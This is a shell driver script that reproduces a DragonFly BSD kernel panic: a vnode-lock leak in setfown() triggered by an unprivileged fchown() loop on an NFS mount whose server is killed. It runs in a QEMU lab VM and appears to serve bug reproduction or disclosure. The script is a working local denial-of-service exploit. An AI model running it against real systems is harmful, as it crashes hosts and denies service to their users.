#!/bin/sh
# DF-2550 driver -- reproduces the setfown() vnode-lock leak as a kernel PANIC.
#
# Bug: sys/kern/vfs_syscalls.c setfown() does
#       if ((error = vget(vp, LK_EXCLUSIVE)) == 0) {
#           if ((error = VOP_GETATTR(vp, &vattr)) != 0)
#               return error;          <-- BUG: no vput(vp)
#           ...
#           vput(vp);
#       }
# When VOP_GETATTR fails, the exclusive vnode lock AND the vget reference are
# leaked.  The caller's very next operation that vget()s the same vnode
# (vget->vn_lock(LK_EXCLUSIVE) on a lock the same thread already holds) hits:
#
#       panic: lockmgr: locking against myself   (vn_lock <- vget <- setfown)
#
# Trigger (realistic): an unprivileged user holds an fd on a file on a remote
# filesystem (NFS) whose server becomes unavailable.  The user's fchown() drives
# setfown() into the failing-VOP_GETATTR path -> leak; the next fchown() panics.
#
# Run from the HOST (this directory):  ./run.sh
# It sets up a local NFS server+soft mount as root, runs the unprivileged
# fchown-loop trigger as maxx, kills the NFS server (server-death / network
# partition model), and waits for the kernel panic.  Expected: guest PANICS
# ("lockmgr: locking against myself") -> vm.sh status == down.
set -u
DIR=$(cd "$(dirname "$0")" && pwd)
ROOT=$(cd "$DIR/../../.." && pwd)
SSH="ssh -F $ROOT/dfbsd-qemu/config -o BatchMode=yes -o ConnectTimeout=8"
SCP="scp -F $ROOT/dfbsd-qemu/config -q"
VM="$ROOT/dfbsd-qemu/vm.sh"
MNT=/mnt/nfs
EXP=/export
LOG="$DIR/run.log"

echo "[drv] DF-2550 reproduction -- baseline (unpatched) kernel" | tee "$LOG"
$VM run_root 'sysctl -n kern.version | head -1' 2>&1 | tee -a "$LOG"

echo "[drv] bring up local NFS server (rpcbind/mountd/nfsd, tcp+udp)" | tee -a "$LOG"
$VM run_root 'umount -f '"$MNT"' 2>/dev/null
pkill -9 nfsd 2>/dev/null; pkill -9 mountd 2>/dev/null; pkill -9 rpcbind 2>/dev/null
sleep 1
mkdir -p '"$EXP"' '"$MNT"'
echo "nfs repro" > '"$EXP"'/f
chown 1001 '"$EXP"'/f
chmod 644 '"$EXP"'/f
echo "'"$EXP"' -alldirs -maproot=0 127.0.0.1" > /etc/exports
/usr/sbin/rpcbind; sleep 1
/sbin/mountd; sleep 1
/sbin/nfsd -t -u -n 4; sleep 2
rpcinfo -p 127.0.0.1 | grep -E "nfs|mount"
' 2>&1 | tee -a "$LOG"

echo "[drv] mount NFS (UDP, soft, 1s timeout, 1 retrans, no attr cache)" | tee -a "$LOG"
$VM run_root 'mount_nfs -3 -U -s -t 1 -x 1 -o acregmin=0,acregmax=0 127.0.0.1:'"$EXP"' '"$MNT"' && echo MOUNT_OK; ls -l '"$MNT"'/f' 2>&1 | tee -a "$LOG"

echo "[drv] maxx: launch fchown poll-loop trigger in background" | tee -a "$LOG"
rm -f "$DIR/trigger.out"
( $SSH dfbsd-maxx /bin/sh <<EOF
cd poc/DF-2550 && exec ./trigger $MNT/f
EOF
) > "$DIR/trigger.out" 2>&1 &
TPID=$!

echo "[drv] let it reach steady state (fchown rc=0) ..." | tee -a "$LOG"
sleep 4
tail -3 "$DIR/trigger.out" | tee -a "$LOG"

echo "[drv] root: kill the NFS server (server-death model) -> VOP_GETATTR will fail" | tee -a "$LOG"
$VM run_root 'pkill -9 nfsd; sleep 1; pgrep nfsd || echo nfsd_dead' 2>&1 | tee -a "$LOG"

echo "[drv] waiting for kernel panic (leaked lock -> next fchown self-deadlock) ..." | tee -a "$LOG"
i=0
while [ $i -lt 90 ]; do          # up to ~180s
    if ! $VM run_root 'true' >/dev/null 2>&1; then
        echo "[drv] guest STOPPED answering ssh at +$((i*2))s -> PANICKED" | tee -a "$LOG"
        break
    fi
    sleep 2; i=$((i+1))
done

echo "===== trigger output (tail) =====" | tee -a "$LOG"
tail -8 "$DIR/trigger.out" | tee -a "$LOG"
echo "===== guest status =====" | tee -a "$LOG"
$VM status 2>&1 | tee -a "$LOG"

# Extract the panic signature from the serial console log.
PANIC=$($VM log 2000 2>/dev/null | grep -iE "panic:|locking against myself|Stopped at|setfown|vn_lock|nfs (server|send)" | tail -20)
if echo "$PANIC" | grep -qi "locking against myself\|panic:"; then
    echo "[drv] RESULT: PANIC reproduced." | tee -a "$LOG"
    echo "$PANIC" | tee -a "$LOG"
    echo "$PANIC" > "$DIR/panic.txt"
    exit 0
else
    echo "[drv] RESULT: no panic detected in serial log (may need longer wait)." | tee -a "$LOG"
    exit 1
fi
